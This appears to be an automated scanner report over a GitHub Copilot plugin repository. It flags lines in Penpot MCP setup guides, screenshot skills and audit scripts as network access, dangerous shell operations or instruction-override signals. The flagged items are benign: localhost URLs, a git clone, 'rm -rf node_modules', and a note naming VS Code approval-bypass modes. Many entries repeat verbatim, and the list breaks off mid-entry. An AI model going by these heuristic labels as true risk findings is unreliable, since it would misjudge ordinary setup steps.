    - Check whether `mcp__penpot__penpot_api_info` succeeds before giving setup instructions. If it succeeds, the server is running and connected. - If the tool fails, ask whether the Penpot MCP server is already installed and running; only gui
  • Network accessline 23
    - If the tool fails, ask whether the Penpot MCP server is already installed and running; only guide installation when the user confirms it is not installed. - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm in
  • Network accessline 24
    - Installation path: clone https://github.com/penpot/penpot-mcp.git and run `npm install`, then `npm run bootstrap`.
  • Network accessline 25
    - In Penpot, open a design file, choose Plugins → Load plugin from URL, enter `http://localhost:4400/manifest.json`, then click "Connect to MCP server" in the plugin UI.
  • Network accessline 26
    - VS Code MCP configuration uses `http://localhost:4401/sse` under `mcp.servers.penpot.url`.

harness/github-copilot/plugins/ux-design-tooling/skills/penpot-uiux-design/references/setup-troubleshooting.md

  • Network accessline 26
    - **Node.js v22+** - [Download](https://nodejs.org/)
  • Network accessline 42
    # Clone the repository git clone https://github.com/penpot/penpot-mcp.git
  • Network accessline 43
    git clone https://github.com/penpot/penpot-mcp.git
  • Network accessline 66
    MCP Server listening on http://localhost:4401
  • Network accessline 67
    Plugin server listening on http://localhost:4400
  • Network accessline 73
    1. Open [Penpot](https://design.penpot.app/) in your browser
  • Network accessline 75
    3. Go to **Plugins** menu (or press the plugins icon) 4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json`
  • Network accessline 76
    4. Click **Load plugin from URL** 5. Enter: `http://localhost:4400/manifest.json` 6. The plugin UI will appear - click **"Connect to MCP server"**
  • Network accessline 77
    5. Enter: `http://localhost:4400/manifest.json`
  • Network accessline 92
    "servers": {       "penpot": {         "url": "http://localhost:4401/sse"
  • Network accessline 93
    "penpot": {         "url": "http://localhost:4401/sse"       }
  • Network accessline 94
    "url": "http://localhost:4401/sse"
  • Network accessline 106
    "servers": {       "penpot": {         "url": "http://localhost:4401/mcp"
  • Network accessline 107
    "penpot": {         "url": "http://localhost:4401/mcp"       }
  • Network accessline 108
    "url": "http://localhost:4401/mcp"
  • Network accessline 135
    "penpot": {          "command": "npx",          "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]
  • Network accessline 136
    "command": "npx",          "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]        }
  • Network accessline 137
    "args": ["-y", "mcp-remote", "http://localhost:4401/sse", "--allow-http"]
  • Network accessline 148
    claude mcp add penpot -t http http://localhost:4401/mcp
  • Network accessline 207
    # Test the SSE endpoint    curl http://localhost:4401/sse
  • Network accessline 208
    curl http://localhost:4401/sse
  • Network accessline 210
    # Test the MCP endpoint    curl http://localhost:4401/mcp
  • Network accessline 211
    curl http://localhost:4401/mcp
  • Network accessline 237
    1. Verify plugin server is running on port 4400 2. Try accessing `http://localhost:4400/manifest.json` directly in browser
  • Network accessline 238
    2. Try accessing `http://localhost:4400/manifest.json` directly in browser
  • Dangerous shell operationline 275
    rm -rf node_modules
  • Network accessline 309
    curl -s http://localhost:4401/sse | head -1
  • Network accessline 326
    - **GitHub Issues**: [penpot/penpot-mcp/issues](https://github.com/penpot/penpot-mcp/issues)
  • Network accessline 327
    - **GitHub Discussions**: [penpot/penpot-mcp/discussions](https://github.com/penpot/penpot-mcp/discussions)
  • Network accessline 328
    - **Penpot Community**: [community.penpot.app](https://community.penpot.app/)

harness/github-copilot/plugins/visual-pr/skills/pr-screenshots/SKILL.md

  • Network accessline 92
    $base = "https://{org}.visualstudio.com/{projectId}/_apis/git/repositories/{repoId}"
  • Network accessline 110
    ![description](https://{org}.visualstudio.com/{projectId}/_apis/git/repositories/{repoId}/pullRequests/{prId}/attachments/screenshot.png)

harness/github-copilot/plugins/visual-pr/skills/ui-screenshots/SKILL.md

  • Network accessline 46
    async def capture(url="http://localhost:3000", out="screenshot-raw.png", width=1400, height=5000):
  • Network accessline 246
    - http://localhost:3000

harness/github-copilot/plugins/web-framework-development/skills/gsap-framer-scroll-animation/SKILL.md

  • Network accessline 5
    metadata:   author: "Utkarsh Patrikar"   author_url: "https://github.com/utkarsh232005"
  • Network accessline 6
    author: "Utkarsh Patrikar"   author_url: "https://github.com/utkarsh232005" ---
  • Network accessline 7
    author_url: "https://github.com/utkarsh232005"
  • Network accessline 176
    - [Author profile](https://github.com/utkarsh232005)

harness/github-copilot/plugins/web-framework-development/skills/gsap-framer-scroll-animation/references/gsap.md

  • Network accessline 45
    <script src="https://cdn.jsdelivr.net/npm/gsap@3.14/dist/gsap.min.js"></script>
  • Network accessline 46
    <script src="https://cdn.jsdelivr.net/npm/gsap@3.14/dist/ScrollTrigger.min.js"></script>

harness/github-copilot/plugins/web-framework-development/skills/markstream-install/SKILL.md

  • Network accessline 6
    metadata:   compatibility: "JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5."   documentation: "https://markstream.simonhe.me/"
  • Network accessline 7
    compatibility: "JavaScript or TypeScript frontend project using Vue 3, Nuxt 3/4, Vue 2.6/2.7, React 18+, Next.js, Angular 20+, or Svelte 5."   documentation: "https://markstream.simonhe.me/"   source: "https://github.com/Simon-He95/markstre
  • Network accessline 8
    documentation: "https://markstream.simonhe.me/"
  • Network accessline 9
    source: "https://github.com/Simon-He95/markstream-vue"
  • Network accessline 34
    Read `references/scenarios.md` before choosing packages or peers. Official sources are https://markstream.simonhe.me/ and https://github.com/Simon-He95/markstream-vue .
  • Network accessline 169
    - [Installation](https://markstream.simonhe.me/guide/installation)
  • Network accessline 170
    - [AI chat and streaming](https://markstream.simonhe.me/guide/ai-chat-streaming)
  • Network accessline 171
    - [Performance](https://markstream.simonhe.me/guide/performance)
  • Network accessline 172
    - [Troubleshooting](https://markstream.simonhe.me/guide/troubleshooting)
  • Network accessline 173
    - [Component overrides](https://markstream.simonhe.me/guide/component-overrides)

harness/github-copilot/scripts/audit_plugins.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Network accessline 190
    if source_config.get("extensionLayoutVersion") != 1:             errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 190
    if source_config.get("extensionLayoutVersion") != 1:             errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 190
    if source_config.get("extensionLayoutVersion") != 1:             errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 190
    if source_config.get("extensionLayoutVersion") != 1:             errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 190
    if source_config.get("extensionLayoutVersion") != 1:             errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 190
    if source_config.get("extensionLayoutVersion") != 1:             errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 190
    if source_config.get("extensionLayoutVersion") != 1:             errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 190
    if source_config.get("extensionLayoutVersion") != 1:             errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 191
    errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":             errors.append(
  • Network accessline 191
    errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":             errors.append(
  • Network accessline 191
    errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":             errors.append(
  • Network accessline 191
    errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":             errors.append(
  • Network accessline 191
    errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":             errors.append(
  • Network accessline 191
    errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":             errors.append(
  • Network accessline 191
    errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":             errors.append(
  • Network accessline 191
    errors.append(f"{name}: extensionLayoutVersion must equal 1")         if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":             errors.append(
  • Network accessline 192
    if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 192
    if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 192
    if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 192
    if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 192
    if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 192
    if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 192
    if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":
  • Network accessline 192
    if source_config.get("upstreamRepository") != "https://github.com/github/awesome-copilot":

harness/github-copilot/scripts/audit_primitive_capabilities.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Executable scriptline 1
    Executable file; content unavailable
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 41
    PLUGIN_SOURCES = load_plugin_sources() FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 42
    FIRST_PARTY_SOURCES = [     "https://code.visualstudio.com/docs/agent-customization/custom-agents",     "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 43
    "https://code.visualstudio.com/docs/agent-customization/custom-agents",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 44
    "https://code.visualstudio.com/docs/agent-customization/prompt-files",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 45
    "https://code.visualstudio.com/docs/agents/run/tools",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 46
    "https://code.visualstudio.com/docs/agents/run/approvals",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Network accessline 47
    "https://docs.github.com/en/copilot/reference/custom-agents-configuration",
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 313
    ],             "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 314
    "note": (                 "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "                 "managed rules, URL approval, terminal approval, and sandboxing are VS Code "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
    "Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, "
  • Instruction override signalline 315
